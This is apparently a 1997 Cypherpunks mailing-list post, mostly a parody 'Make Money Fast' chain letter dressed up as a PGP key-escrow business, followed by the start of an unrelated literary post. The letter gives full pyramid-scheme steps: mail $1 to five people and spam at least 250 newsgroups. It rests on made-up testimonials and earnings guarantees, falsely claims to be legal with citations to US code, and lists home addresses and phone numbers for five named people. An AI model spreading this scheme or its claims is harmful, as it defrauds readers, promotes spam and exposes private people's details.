is now #3 on the list was #4 when I got it, which was only a few days
ago. Five dollars is a small investment in your future. Forget the
lottery for a week, and give this a try. It can work for ALL of us.

Why am I willing to share this secret knowledge with you when it's worth
so much? To make money? Not even close! First of all, I already have all
the money and possessions I'll ever need. Second, I don't stand to lose
any money by telling you how to make money for yourself. It doesn't
involve any competition at all. Third, nothing pleases me more than
helping out others who recognize an incredible opportunity and jump
right on it.

I wasted quite a bit of money sending away for one money- making scheme
after another. I found out what you probably already know. They all
turned out to be garbage. The only one who made any money were the
companies who sold them, like RSA.

About six months ago I received the enclosed post in letter form. I
ignored it. I received about five more of the same letter within the
next two week.I ignored them also. Of course, I was tempted to follow
through and dreamed of making thousands, but I was convinced it was just
another gimmick and could not possibly work.

In October 1996, I received a letter in the mail telling me how I could
earn $50,000.00 or more whenever I wanted. I was naturally very
skeptical and threw the letter on the desk next to my computer. It's
funny though, when you are desperate, backed into a corner, your mind
does crazy things. I spent a frustrating day looking through the want
ads for a job with a future. The pickings were sparse at best. That
night I tried to unwind by booting up my computer and reading several
newsgroups. I read several of the messages posted and then glanced at
the letter laying next to the computer. All at once it became clear to
me. I now had the key to my dreams.

I was wrong! About three weeks later I saw this same letter posted on a
local bulletin board in Montreal. I liked the idea of giving it a try
with my computer. I didn't expect much because I figured, if other
people were as skeptical as I, they would not be too quick to part with
$5.00. But, I BUY LOTTERY TICKETS WEEKLY IN CALIFORNIA AND HAVE NOTHING
TO SHOW FOR IT BUT TICKET STUBS! This week I decided to look at this as
my weekly lottery purchase. I addressed the envelopes and mailed out
$1.00 in each as directed. Two weeks went by and I didn't receive
anything in the mail. The fourth week rolled around and I couldn't
believe what happened! I can not say that I received $50,000.00, but it
was definitely well over $35,000.00! For the first time in 10 years I
got out of debt. It was great. Of course, it did not take me long to go
through my earnings, so I am using this excellent money opportunity once
again. FOLLOW THE INSTRUCTIONS AND GET READY TO ENJOY!

I realized that with the power of the computer I could expand and
enhance this money making formula into the most unbelievable cash flow
generator that has ever been created. I substituted the Usenet
newsgroups in place of the post office and electronically did by
computer what others were doing by mail. Now only a few letters are
mailed manually. Most of the hard work is speedily downloaded to other
bulletin boards throughout the world. If you believe that some day you
deserve that lucky break that you have waited for all of your life,
simply follow the easy instructions below. Your dreams WILL come true.

This PGP MLM is completely different. It's unlike anything you could
ever imagine! I used to be "the little guy". Poor, trying to make ends
meet (and losing) and with no opportunity whatsoever. And now it's my
turn to give something back to the "little guy".

My PGP MLM is incredibly simple. Anyone can use it. You can get started
for almost NO MONEY ($5) and the risk is ZERO! You don't need special
training or even a high school education. There's no physical labor
involved. It doesn't matter how young or how old you are. It's simple
enough for a child to learn in a couple hours. You can use PGP in the
comfort of your home or even while your on vacation!

I'll tell you more about this amazing MLM:

With the PGP MLM the money rolls in FAST. If you can follow easy
instructions you can get started in a single afternoon and have CASH in
your pocket the next morning! In fact, this just might be the fastest,
most honest, legal method to make money ever invented! It's risk-free
and it's not a dangerous gamble. Everything you do is proven and
GUARANTEED. You can get started for absolutely nothing. The method is so
simple, it would be hard to make a mistake even if you tried!

This is a VERY safe way to get cash. Making money with PGP is a snap.
You'll be amazed at how easy it really is. You can work whenever you
want. You're not tied down to anything or anybody. You're your own boss
and you make your own hours.

One of the nicest things about this MLM is that anyone can do it in
their own home. No office. No equipment. No staff. No overhead. NO
hassles. It doesn't even matter where you live. It's perfect for
students, homemakers, kids, seniors and anyone who likes the idea of
being insanely rich! It's also perfect if you're just looking for a
little bit of extra cash.

PGP will blow your mind! When you use it to make money you never have to
try to convince anybody of anything. There's no door-to-door selling, no
telemarketing and no real estate or anything that involves personal
contact. So you don't have to be a good sales person because there are
no sales!

PGP is completely legal and honest. You'll sleep good at night knowing
that you are providing a very valuable key escrow service. You'll be
proud of what you are doing.

Professional care has been taken to insure that this Marketing Plan does
NOT violate any laws! (Reference U.S. Code, Title 18 Section 302,1343,
and TITLE 39, Section 3005).

You're probably sceptical. I wouldn't expect less from you. It just
shows you have good business sense.

One enterprising young man learned to escrow PGP keys as described here
and tried it his first day and made $2,000 profit in just a few hours.
"This is the ultimate lazy man's way to riches. You'll be amazed at how
easy it is. And you may very easily do better than $2,000 with the
step-by-step instructions he will send you. Thanx John."

Another man, from Chicago, lined up a $30,000.00 profit in his first two
months. Now he works three days a week and takes the rest of the month
off.

"Gilmore's 'Incredible 7-Step Path to Success' is a MUST for anyone who
contemplates making huge amounts of money as an independant
entrepreneur."

"I never really believed those success stories...never thought I'd be
one of them...using PGP, in just 8 months I made over $203,000...made
over $22,000 in the last two and a half weeks! It's simple...easy...very
fast...Mr. Gilmore, thank you for your Cypherpunks MLM."

"If you'd like to make some quick cash, this is the opportunity you've
been waiting for. This is good and honest money. This MLM could make you
more money then you would know what to with, though I'm sure you could
figure out something! I was supplied with detailed instructions and cash
was available the very next day. Thank you John!"

"I'm amazed at my success! By using PGP I made over $600,000 in five
months. That's more than 35 times what I used to make in a year. (I quit
my job after using PGP for 2 weeks!) My whole life I was waiting
for this miracle! Thank you John Gilmore."

"... Your plan is awesome! I never expected something so different and
easy that will actually make me an easy $3,000.00 on a weekly basis. A
GREAT many thanks to you."

".... as an attorney, I come across a lot of money making opportunities,
but I never even heard of anything like this before."

"This is without a doubt the most powerful millionaire-maker in
history.!"

"Two years ago, I mailed you fifty dollars in sheer desperation for a
better life... One year ago, from using PGP, a man called and offered me
a partnership... I grossed over $160,000 cash business in seven months!
You are a God sent miracle to me. Thank you Micheal and God Bless you
and your family."

"He does more than give general ideas. He gives people an easy to
follow, A to Z plan to make big money."

"I didn't believe you when you said PGP could make me money by the next
morning. Man, was I wrong! By the VERY NEXT MORNING $7200 poured in, in
less than 24 hours!! I am still dumbfounded to tell you the honest
truth. To anyone who is considering using PGP: Just Do It! I was
sceptical at first but trust me the $5 is well worth it! You literally
make it back in a day. To the authors of PGP: thank you for making me
rich rich rich! I'm not done using your plan yet!

One man claims he and his wife can "make a million dollars in a few
hours while watching television."

PGP key escrow has been named the "most amazing money-making,
life-changing, best-kept secret EVER!" "If you can't become a
millionaire with this program, you can't become a millionaire at all."
That's probably true.

I heard an ex-auto worker from Detroit was one of the first to put PGP
to work. He had been downsized recently from one of the big auto makers.
Simply put, he had been laid off with no hope of returning soon. He took
a chance on himself and, that' s right!.... He downloaded PGP and
followed the easy instructions. Word has it within three weeks he made
over $4,000.00. And this was just in his spare time.

As you can tell by now, I've found something pretty good. I think I've
come across the sweetest money-making program you could ever imagine.
Remember- I GUARANTEE IT!

Usually it takes big money to make big money. This is the exception.
With PGP you can start in your spare time with almost no money. But you
don't have to start small and you don't have to stay small. You can go
as fast and as high as you wish. The size of your profits are totally up
to you. I can't guarantee how much money you'll make by using PGP,
because that part's up to your needs, your wants and your dreams.

And there you have it. At last I've explained this remarkable program in
a special money-making plan. I call it "GILMORE'S INCREDIBLE PLAN TO
WEALTH". Some call it a miracle. Others call it "the crypto program that
changed my life and gave me astounding wealth." You'll probably call it
"The Money Program". You'll learn everything you need to know
step-by-step. So you too can put this amazing money making program to
work for you and make ALL THE MONEY YOU WANT.

Do you realize what this means? You can use this incredible program FREE
and without any risk. And if for ANY reason you are not 100% satisfied
after using the MLM for 30 days, I will send you your $5 back, PLUS an
extra $20 CASH, for absolutely FREE, just for giving PGP an honest
effort according to the simple, easy to follow instructions! So if you'd
like to make a quick ten grand in 24 hours this is just for you!

I GUARANTEE IT! And with my guarantee there's absolutely NO RISK ON YOUR
PART!

I just read an article in an Internet newsgroup describing how to make
$50,000.00 in only one month from a $5.00 investment.

Of course I thought this was rediculous ,or some type of pyramid. I
talked it over with my family, an attorney, and my friends, and they all
agreed it was some sort of scam.I hate scams because usually someone
gets burned, and I didn't want it to be me! I blew it off for a few
weeks then saw another one in a newsgroup I go to alot and thought,
"Maybe this is legitimate!". Besides, whats $5.00 , I spend more than
that in the morning on my way to work on coffee and meals for the day.

Well, two weeks later,I began recieving money in the mail! I couldn't
believe it! Not just a little , I mean big bucks! At first only a few
hundred dollars, then a week later, a couple of thousand , then BOOM .
By the end of the fourth week , I had recieved nearly $47,000.00. It
came from all over the world.And every bit of it perfectly legal and on
the up and up. I've been able to pay off all my bills and still had
enough left over for a nice vacation for me and my family.

Not only does it work for me, it works for other folks as well. Ray
Arachelian says he made $57,883 in four weeks. Zach Babayco claims he
made $53,664 in the same amount of time. Chris Lewis says it was only
$17,000 for him. Do I know these folks? No, but when I read how they say
they did it, it made sense to me. Enough sense that I'm taking a similar
chance with $5 of my own money. Not a big chance, I admit--but one with
incredible potential, because $5 is all anyone ever invests in this
system. Period. That's all Markus, Dave, or Dan invested, yet their $5
netted them tens of thousands of dollars each, in a safe, legal,
completely legitimate way.

You can make up to, or over, $50,000 in only 4-6 weeks. I was browsing
through these newsgroups, just like you are now, and I came across an
article similar to this that said you could make thousands of dollars in
only weeks with an initial investment of ONLY $5! And, like you, I
thought " Yeah, right, must be a scam...". But, I was intrigued... like
most of us are...and so I kept reading. Anyway, the article said that
you were to send $1.00 to each of the 5 names and address and the
article in at least 250 newsgroups... there are thousands!.. no
catch...that was all you had to do.

So after thinking it over and talking to a few friends first, I decided
to try it...ofter all, if it really was a scam all I would loose would
be my $5 and the cost of 5 stamps, right...? Well, guess what... within
7 days, I started getting money in the mail...No kidding! I have to tell
you, I was suprised to say the least. I still figured it would end soon
and didn't give it too much thought. But then money kept coming
in...tripling in numbers and multiplying by 10 nad 20 times the amount
that I got the first week! In my first week I made about $20 or $30 .

But by the end of the second week, I had made a total of over $1,000!!
In the third week, I had over $10,000, and it's still growing. This is
my fourth week and I've made about $42,000 TOTAL...and the money is
still coming in.

Sincerely yours,

John Gilmore

INSTRUCTIONS

Follow these instructions EXACTLY, and in 20 to 60 days you will have
received well over $50,000.00 cash, all yours. This program has remained
successful because of the HONESTY and integrety of the participants.
Please continue its success by CAREFULLY ADHERING to the instructions.

Welcome to the world of Public Key Cryptography! This little business is
somewhat different than most mail order houses. Your product is not
solid and tangible, but rather a service. You are in the business of
escrowing Public Keys. Many government agencies are happy to pay big
bucks for public keys. (The money made from the key escrow is secondary
to the income which is made from people like yourself requesting that
their keys be escrowed.)

1. First, you must obtain the program called PGP. These FTP sites have it:

ftp://ftp.funet.fi/pub/crypt/pgp/
ftp://ftp.cert.dfn.de/pub/pgp/
ftp://idea.sec.dsi.unimi.it/pub/security/crypt/PGP
ftp://ftp.nl.net/pub/crypto/pgp
ftp://ftp.nic.surfnet.nl/surfnet/net-security/encryption/pgp
ftp://menja.ifi.uio.no/pub/pgp/
ftp://ftphost.vuw.ac.nz
ftp://leif.thep.lu.se
ftp://nctuccca.edu.tw/PC/wuarchive/pgp/
ftp://sable.ox.ac.uk/pub/crypto/pgp
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/pgp/

If you have access to email, but not to ftp, send a message saying
"help" to ftpmail@decwrl.dec.com or mailserv@nic.funet.fi

2. Now you must install PGP as described in its documentation and run
the PGP key generation command "pgp -kg". PGP shows you a menu of key
sizes. Pick the biggest one available. It also asks for a user ID, which
means your name and e-mail address. Spaces and punctuation are allowed
in the user ID. It would help if you put your E-mail address in <angle
brackets> after your name, like so:

    John Gilmore <gnu@toad.com>

PGP also asks for a "pass phrase" to protect your secret key in case it
falls into the wrong hands. Nobody can use your secret key file without
this pass phrase. The pass phrase is like a password, except that it can
be a whole phrase or sentence with many words, spaces, punctuation, or
anything else you want in it. Don't lose this pass phrase-- there's no
way to recover it if you do lose it. This pass phrase will be needed
later every time you use your secret key. The pass phrase is
case-sensitive, and should not be too short or easy to guess. It is
never displayed on the screen. Don't leave it written down anywhere
where someone else can see it, and don't store it on your computer.

3. Now use the "pgp -kxa userid keyfile" command to copy your new public
key from your public key ring and place it in a separate public key file
suitable for distribution to your friends for escrow and inclusion in
their public key rings.

4. Invest your $5 by writing your name and e-mail address on five
separate pieces of paper along with the words, "Please escrow my PGP
key. You are number __", and a copy of the keyfile. In this way, you're
not just sending a dollar to someone. Key escrow is a legitimate service
that you are requesting and you are paying $5.00 for this service. Fold
a $1 bill (or a loonie), money order, or bank note inside each piece of
paper that you just wrote on and fold the piece of paper so the bill
will not be seen in the envelope (otherwise, nosey people who like to
steal mail with money in it will get yours!) and mail them by standard
U. S. Mail to the five addresses listed below.

#1 John Gilmore <gnu@toad.com>, P.O.Box 170608, San Francisco, CA
94117, 415-221-6524

#2 Timothy C. May <tcmay@got.net>, 427 Allan Lane, Corralitos, CA
408-728-0152.

#3 Ray Arachelian <ray@earthweb.com>, 48-21 40th St, Apt 2B, Long Island
City, NY 11104-4111, 718-786-4227

#4 Alan Bostick <abostick@netcom.com>, 680 66 St., Oakland, CA 94609,
510-658-7176

#5 Jason Durbin <jed@poisson.com>, 8 Avocet Drive, #211, Redwood Shores,
CA 94065, 415-637-0435

5. Remove the name that appears as number 1 on the list. Move the other
4 names up one position (Number 2 becomes number 1, number 3 becomes
number 2, and so on). Place your name, address, zip code, and e-mail
address in the number 5 position.

6. With your name in the number 5 position, upload this ENTIRE amended
file to at least 250 different Usenet newsgroups. I'm told that there
are close to 30,000 of them, and all you need is 250 or so. Use the
subject header to draw attention to this file and its great potential
for all of us. See Netscape and Internet Explorer instructions below.
Try posting to as many newsgroups as you can. Remember: the more groups
you post to, the more people will see your article and send you cash!

7. Sit back and relax. You are now in business for yourself, and should
start seeing returns within 7 to 14 days! Remember, the Internet is new
and huge. There is no way you can lose.

HOW TO POST TO USENET:

If you use Netscape Navigator 3.0, do exactly the following:
     A) Highlight all newsgroups you want to mail your letter to which as you
know is done by holding down CTRL while left clicking. This way you can select
multiple newsgroups in one go, choose perhaps a dozen each time. You will then
see all the newsgroups you highlighted displayed in the Newsgroups Field. Then
click on "TO NEWS" which is on the far left when you're in the newsgroup page.
This will bring up a box to type a message.
      B)  Leave the "Newsgroups" box like it is. CHANGE the "Subject:" box
to something eye-catching like "NEED CASH $$$ READ HERE $$$" or "FAST
CASH!!" or "$$$ PROTECT YOUR PRIVACY AND MAKE MONEY FAST $$$"
      C)  Tab once and you should be ready to type. Now, paste (only once)
this entire article, word for word, except to insert your name at #5
and to remove #1 off the list, plus any other small changes you  think you
need to make.  Keep almost all of it the same however. It works!!!
     D)  If you still have all of your text, send or post to this
newsgroups now by just clicking the "SEND" button (just below the "FILE"
dropdown menu and just above the CC: button)
     E)  Here's where you're going to post to 250 or more, newsgroups.
OK... click on any newsgroup then click on "TO NEWS".. again, in the top
left corner of your screen.  Leave the newsgroups box alone again, put a
flashy subject title in the SUBJECT BOX, hit TAB once and you're in the
body of the message.  Now paste this article again.

If you use Microsoft Internet Explorer, it's just as easy:

  Holding down the left mouse button, highlight this article. Then press the
"CTRL" key and the "C" key at the same time to copy the article. Or, go to the
EDIT dropdown menu and select COPY. Next, go to the newsgroups and press "POST
AN ARTICLE". A window will open. Type in your flashy headline in the SUBJECT
area and then click in the large window below. Press "CTRL" and then "V" and
the article will be pasted in the window. (Or, go to EDIT and then PASTE.) If
you want to edit the article, you can do so and then highlight and copy it
again (so your edited article will be copied again and again to each
newsgroup).
  Now, every time you post the article in a new newsgroup all you have to
repeat is "CTRL" and "V" and press POST.
  F) That's it! Each time you do this, all you have to do is choose a different
newsgroup so you can post this message to 250 or more, DIFFERENT, newsgroups. I
know, I know,... you've still got 249 to go! Don't worry, each successive
article will only take about 30 SECONDS once you get the hang of it. Remember,
250 is the MINIMUM ... The more you post, the more money you will make!

Repeat the process over and over again by selecting further newsgroups
in multiples of 10's but try to be selective with the groups by posting
to high volume locations, and don't choose a subject that appears TOO
flashy, this will only put people off. This is an honest and legitimate
way of making a reasonable amount of money, and making it on a regular
basis. But only if your message is sincere and clearly understood by
others will you succeed.

You are now in the key escrow business and will start receiving your $1
envelopes from various people all over the world within days.

REMEMBER... The more newsgroups you post to, the more money you will
make! You may want to rent a P.0. Box eventually because of all the
mail. If you wish to stay anonymous, you can come up with a name, such
as "Manager" or "Investor" ... Just make sure all the address that you
have typed in for the 4 people plus yourself are correct, PLEASE.

Now here is how and why this public key escrow system works:

The Internet is growing daily at a phenomenal rate, quadrupling once a
year. Perhaps you already know this. With millions of people surfing the
Internet and an estimated 100,000 users scanning the newsgroups of which
there are nearly 30,000. This exposure is the key factor and the reason
why: You me and all those who take part cannot fail not to be
disappointed. Just think about it, if you became interested in this
article, why shouldn't thousands of others!

At first, I posted to nearly 250 newsgroups, but due to the response
soon increased this to 300, which brought in mail from Europe the Far
east, Australia and America. So with my first dozen replies I made
$12.00. But to simplify matters and keep the arithmetic easy, suppose I
had posted to 200 newsgroups with my name at five and just had five
replies which would have meant I earned $5.00.

In theory you make $5.00 for every two hundred postings with your name
at #5. Each person who sent you a $1.00 now also makes two hundred
postings with your name at four equating to $50.00. Your fifty new
agents also make two hundred postings each with your name at three, say
ten thousand postings equating to $500.00. These five hundred agents
again make two hundred postings each with your name at two equating to
$10.000 or one hundred thousand postings.

Finally, five thousand people once again make two hundred postings with
your name at one and this would equate to the mathematical statistic of
$50.000 before your name drops off the list. Which is pretty exciting
and mind boggling considering these figures are based on only two
hundred postings at a time being made down the line! Most people may
think these figures are ridiculous, but they do add up. After all they
do say the success of the Internet is due to it's sheer capacity of over
40 million.

Technically, you only need an average return of 2.5% from the 200
postings that each person makes in order to achieve these high figures.
So with the Internet comprising of 40 million user's the sky really is
the limit!!!

It's a never ending money making process because when your name finally
drops off the list, or indeed before if you really need the cash (and
who doesn't) you simply access another newsgroup posting and begin the
process over again, placing your name at Five. Please remember to upload
this article to as many newsgroups, local bulletin boards, message areas
and file sections as possible. The financial rewards are guaranteed, but
as stated, the level of success depends upon your efforts! And how much
posting you do.

This posting has been appearing for quite some time and has now
literally got thousands of people actively involved. No doubt like me,
you may have seen it before and become a little confused by the way it's
been explained. However, I personally have never believed in a so called
"Free lunch" and have always worked hard to support my family. But this
idea is so simple involving only a modest $5.00 investment that I simply
had to try it. At first, it took me quite a while to figure it out - my
first impressions led me to believe that there must be someone behind it
who alone is benefiting. But this isn't so, you only have to look at the
various postings to realise this; the thousands of postings that are
made all carry different names and addresses. So with so many people
involved I became convinced that with this particular program I too
could benefit. Although many of the postings have been modified the
basic principal remains the same, in my opinion the only problem has
been the way the initial concept has been repeatedly changed.

With this in mind I have set out to explain what I consider to be a
clearer version, in the hope there is no doubt in people's minds that
it's fully understood. Because believe me, this system does work! In
general, these postings lead you to believe you can make $50,000 within
a month, which I think is a little over the top. But now ten days after
my initial involvement, I'm beginning to get a reasonable and realistic
return with a further understanding of just how big this concept is. I
still cannot believe it - the money is coming in from all over the
world. That money sure comes in useful, but what's more important is the
fact I have proved this is a totally workable and legitimate system
involving no risk and no major cash outlay. My other concern was the
legal aspect, so I checked this through and was told that providing I
mail one dollar to the person I am asking to escrow my PGP key, I am in
fact paying for a service.

As a personal note:

The above figures are for demonstration purposes only with the whole
concept and current success based upon the number of people
participating. And the number of newsgroups and file sections you post
this article to. Yes, it really depends on you the individual! How much
money you want to make rests in your hands. Accessing newsgroups is very
easy considering there are nearly 30,000 to choose from. Your success
rate is determined by the amount of newsgroups accessed, you must follow
through and post this or your own similar article to hundreds of
newsgroups; maximise your postings and you maximise your cash intake.

The end result depends on you. You must follow through and repost this
article everywhere you can think of. The more postings you make, the
more cash ends up in your mailbox. It's too easy and too cheap to pass
up!!!

So that's it. Pretty simple sounding stuff, huh? But believe me, it
works. There are millions of people surfing the net every day, all day,
all over the world. And 100,000 new people get on the net every day. You
know that, you've seen the stories in the paper. So, my friend, read and
follow the simple instructions and play fair. Thats the key, and thats
all there is to it. Print this out right now so you can refer back to
this article easily. Try to keep an eye on all the postings you made to
make sure everyone is playing fairly. You know where your name should
be.

If you're really not sure or still think this can't be for real, then
don't do it. But please print this article and pass it along to someone
you know who really needs the bucks, and see what happens.

People have said, "What if the plan is played out and no one sends you
the money?" So what! What are the chances of that happening when there
are TONS of NEW honest users and NEW honest people who are joining the
Internet and newsgroups every day and are willing to give it a try?
Estimate are at 20,000 to 50,000 new users, EVERYDAY, with thousands of
those joining the actual Internet. Remember, play FAIRLY and HONESTLY
and this WILL WORK... I promise you. You just have to be honest. Make
sure you print this article out RIGHT NOW (if it's not done yet).

Also... try to keep a list of everyone that sends you money and always
keep an eye on the newsgroups to make sure everyone is playing fairly.

PLEASE NOTE: This system is based on everyone being honest, but it's all
too tempting not to bother mailing out envelopes with dollar bills
inside. The success for all participating is dependant upon this taking
place and if carried out will mean a 500% increase on your article being
redistributed!

The system won't work to yours or indeed other people's advantage if you
don't follow the procedure. You can however, if you wish to remain
anonymous use a pseudonym - but please ensure your address is correct.

AS A FINAL NOTE: Many business ideas for making money, no matter how
well thought out and implemented simply don't get off the ground. And in
most cases is due to advertising costs, but the exposure obtained
through the Internet is quite honestly - pretty awesome, so please study
this article carefully taking all the time you want, because the moment
you begin participating you will be on track for some serious financial
rewards. By the very nature of the way the system works you may not see
the benefits the first week.

BUT COMMENCING THE SECOND WEEK, YOUR INTAKE OF MAIL FROM AROUND THE
WORLD WILL TRULY ASTONISH YOU!

Please give this some serious thought, because this is one of the few
money making schemes that really does work... GOOD LUCK!!!

REMEMBER... HONESTY IS THE BEST POLICY... YOU DON'T NEED TO CHEAT THE
BASIC IDEA TO MAKE MONEY!! Good luck to all and please play fairly and
you will reap hugh rewards from this!

By the way, if you try to deceive people by posting the messages with
your name on the list and not sending the money to the people already on
the list, YOU WILL NOT GET MUCH RETURN! Someone I talked to (mean and
cheap) just did that and he only made $150 after 7 to 8 weeks!! Then he
sent the five $1 bills out... people added him to their lists ... and in
5 weeks, he had OVER $10,000! He than realize that there is no way to
cheat with himself.

THIS IS THE FAIREST AND MOST HONEST WAY I HAVE EVER SEEN TO SHARE THE
WEALTH OF THE WORLD WITHOUT COATING ANYTHING BUT FIVE DOLLARS AND A
LITTLE OF YOUR TIME! DO IT LIKE IT'S LAID OUT HERE... IT WILL WORK!!

Within 60 days you will receive over $50,000.00 in CASH.

Keep a copy of this file for yourself so that you can use it again and
again whenever you need money. As soon as you mail out these letters you
are automatically in the mail order business. People will be sending YOU
$5.00 to escrow their PGP keys.

This is a service.  **  IT IS PERFECTLY LEGAL  **

If you have any doubts as to the legality of this service, please refer
to Title 18, Sections 1302 and 1341 of the Postal Lottery Laws.

NOTE: Make sure that you retain EVERY name, address, and PGP key sent to
you, either on computer or hard copy, but do not discard the names and
notes that people send to you. This is PROOF that you are truly
providing a service, and should the I.R.S. or some other government
agency question you, you can provide them with this proof!

Remember, as each post is downloaded and the instructions carefully
followed, two memebers will be reimbursed for their participation as a
List Developer with $5.00 each. Your name will move up the list
geometrically so that when your name reaches the number 2 position you
will be receiving thousands of dollars in cash.

REMEMBER  -  THIS PROGRAM FAILS ONLY IF YOU ARE NOT HONEST  -  PLEASE!!
             PLEASE BE HONORABLE...IT DOES WORK!  THANK YOU


Testimonials from satisfied PGP users:

    Hey....

I'm one of the people who downloaded PGP a while ago, and I've made
quite a profit...not 50,000 dollars, but TONS more than the 5 bucks I
sent in. It might take more than 60 days to get 50,000, but I think I
can wait.

    Zach Babayco

    ANOTHER ADDITION BY A PARTICIPATING MEMBER


    PLEASE just try this and do it right it's only 5 dollars and its
legal, but DON'T try to cheat the system or you are cheating yourself!


    WHAT HAVE YOU GOT TO LOSE, A MAXIMUM OF ```5$ !JUST TRY IT! SPREAD
IT EVERYWHERE, THE MORE YOU SPREAD THE MORE YOU MAKE!

    ******************************************************************
    *** ANOTHER ADDITION BY -=XxX=- **********************************
    ******************************************************************

    THIS WORKS !!!!!!!!!!!!!!!!!!! I AM PROOF !!!!!!!!!!!!!!!!!!!!!!!

    DO IT...!!!!!!!!!!

*****************************************************************************

    THIS IS REAL AND LEGAL. AND IF U DO NOT FOLLOW THE DIRECTIONS
EXACTLY AND DO NOT RECIEVE ANY OR LITTLE MONEY. DO NOT BLAME IT ON THE
MAILING LIST NAMES. JUST INCLUDE YOUR NAME OR WHERE U GOT THIS TEXT FILE
FROM EXAMPLE AMERICA ON LINE ETC... ALSO THE NAMES ON THIS LIST HAVE
NOTHING TO DO WITH IF YOU GET YOUR MONEY OR NOT. IT IS GUARANTEED YES
THAT YOU WILL GET YOUR MONEY BUT THIS PROTECTS ALL NAMES ON THIS TEXT
FILE. AND JUST REMEMBER IT IS NOT OUR FAULT THAT YOU READ THE DIRECTIONS
WRONG AND DID NOT RECIEVE ALL YOUR MONEY. IF U DID NOT SEND IN ONE
DOLLAR TO EACH 5 NAMES THAT WILL MAKE IT SO YOU WILL NOT GET MONEY SO
FOLLOW AND FOLLOW THE DIRECTIONS CAREFULLY!!!!!!!!!!!! AND PROMISED
50,000 DOLLARS WILL COME!!!!!!!!

    Timothy C. May

    This system works equally well if mailed out manually. Mind you it
takes more effort to hand address the envelopes and the cost goes up
proportionately to cover the postage and envelopes. You must also photo
copy the instructions, cross out the name in number one position, write
in your name in the number ten slot and change the rest of the numbers
accordingly. (It might be neater to use white out or paste over the
names.) In order to achieve the same results you must send out the $1.00
to the first five names and then send out another 100 letters with
copies of the program enclosed.

    It has been suggested not to put a return address on the outside of
the envelope in order to encourage the recipient to open it. The return
will approximate that then received from the posts listed on the
bulletin boards.

    OK HERE'S THE DEAL. AT PRESENT I AM A BUSINESS MAJOR AT VANDERBILT
AND THIS PROGRAM MAKES A WORLD OF SENSE TO ME. I RECENTLY READ ABOUT A
GUY THAT TOOK A PENNY FROM EVERY PERSON'S BANK ACCOUNT AT THE NEW YORK
CITY BANK. AFTER 2 YEARS OF DOING THIS ILLEGALY HE BECAME A MILLIONAIRE.
BUT GOT GREEDY AND GOT CAUGHT. SAME PRINCIPLE HERE. TAKE A DOLLAR FROM
EVERYONE WHO GETS THIS AND ALTHOUGH THEIR GIVING PRACTICALLY NOTHING,
THE RECEIVER IS GETTING LOTS. SORTA THE HUMANE THING TO DO. IF YOU COULD
GIVE A GUY A BUCK AND HELP HIM HAVE THE MONEY TO PAY OFF A DEBT OR SAVE
MONEY FOR RETIREMENT WHY NOT? THEN AFTER YOU SEND A DOLLAR JUST
MANIPULATE THIS FILE LIKE IT STATES ABOVE AND PEOPLE WILL BE HELPING YOU
OUT TOO. MY DAD TAUGHT BE TO BE CAREFUL OF THINGS THAT SOUND TO GOOD TO
BE TRUE CAUSE THEY USUALLY ARE BUT WHAT CAN YOU LOSE BY GIVING $5!!! YOU
HAVE ALL TO WIN AND NOTHING TO LOSE. L8R

    Hi all, I will not say my name, as I wish to remain anonymous, but I
have something to say. IT WORKS. I am THE most sceptical person on the
face of the earth. I saw this, and say _-=BS=-_..no
way...impossible..then my friend told me he did it.. he said he made
about 50 bucks..I said no way..he proved it to me.. I decided, what the
hell...I sent out my 5 bucks, and Sent this thing to about a 400 people,
not to BBS's, just E-mail. 3 weeks went by, and I FINALLY got ONE dollar
in the mail. It has been about 3 months since that day I got my first
dollar, and now every day when I go to get my mail, there are about 3
dollar bills in my box waiting for me. I have made almost 300 dollars. I
dunno about that guy and his 50 thous., but if someone offered you 300
dollars for FREE, would you take it? Do this guys...it WORKS!!!

    Jason Durbin

    Hey guys,

    I am #5. I just got this a few days ago as an e-mail. Over my life I
have received over 50 e-mails just like this, which I avoided. Finally I
am gonna give it a shot. If it works, great, but if it doesn't than oh
well. Its only 5 bucks guys. That's it. And forwarding this to everyone
you know, and U/Load it to Newsgroups and BBS's. So far, I have sent
this to over 2000 people on the net, including BBS's, Newgroups, IRC,
and America Online. The more copies you send out, the more of a chance
you have of getting money in the mail. You guys may not $50,000 heh ehh.
I doubt anyone can. They all just say that to get your attention. But
possibly you could get at least $500. But hey, if someone offerd you
$500 would you take it? Of cource would. All it is, is just 5 dollars.
That's it. Send a dollar each to each address listed below. Include your
name, address, e-mail address, and where you got "FASTCASH.TXT" from.
Just give it a shot guys. Its perfectly legal, I know that cause a few
of my friends did and they together all made about $750. heh heh, the
IRS is not gonna come knocking on your door or the FBI or any other
government agency. Those are all rumors from people who were
unsuccessful at doing this. HONESTY COUNTS. Once you've sent the dollar
to someone you are added to their mailing list. Just give it a shot
guys. Its only $5. What do else are you gonna do. Just be patient for
your money to arrive. Its not all gonna come the day you send the 5
bucks. It may take 2 or 3 weeks for the money to role in. Then for the
next 2 months, everyday you will be receiving letters with dollar bills
in your mailbox.

    Alan Bostick

    10-20-96

    Hi I have found that the best way to do this is to use the news part
of Netscape 3.0. All you have to do is click on "To News" in the upper
lefthand corner. Copy this article to your clipboard, if you are using
windows, then go into your clipboard while you still have the News box
open. Edit the artile as necessary and then select edit "copy". Next go
back to your News box and select edit &quot;paste&quot; and you will
find that the article is posted in the box with all the necessary
changes. Put a flashy subject in the subject box to attract attention,
then you can send it to a newsgroup and your on your way to make big
bucks.


    **********************************************************
    *** REMEMBER....HONESTY IS THE BEST POLICY.YOU DON'T   ***
    *** NEED TO CHEAT THE BASIC IDEA TO MAKE THE MONEY!    ***
    *** GOOD LUCK TO ALL,AND PLEASE PLAY FAIR AND YOU WILL ***
    *** WIN AND MAKE SOME REAL INSTANT FREE CASH!          ***
    **********************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 00:30:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Einstein's Dreams
Message-ID: <32D76B59.4FBE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


As the city melts through fog and the night,
   one sees a strange sight. Here an old bridge is
   half-finished. There, a house has been removed
   from its foundations.  Here, a street veers east
   for no obvious reason.
   ...This is a world of changed plans, of sudden
   opportunities, of unexpected visions. For in 
   this world, time flows not evenly but fitfully
   and, as consequence, people receive fitful
   glimpses of the future.
       -excerpt from "Einstein's Dreams"
            by Alan Lightman

   In 1989, Bill Gates was just another player in the wonderful 
world of computers. Phil Zimmerman was a wanna-be cryptographer.
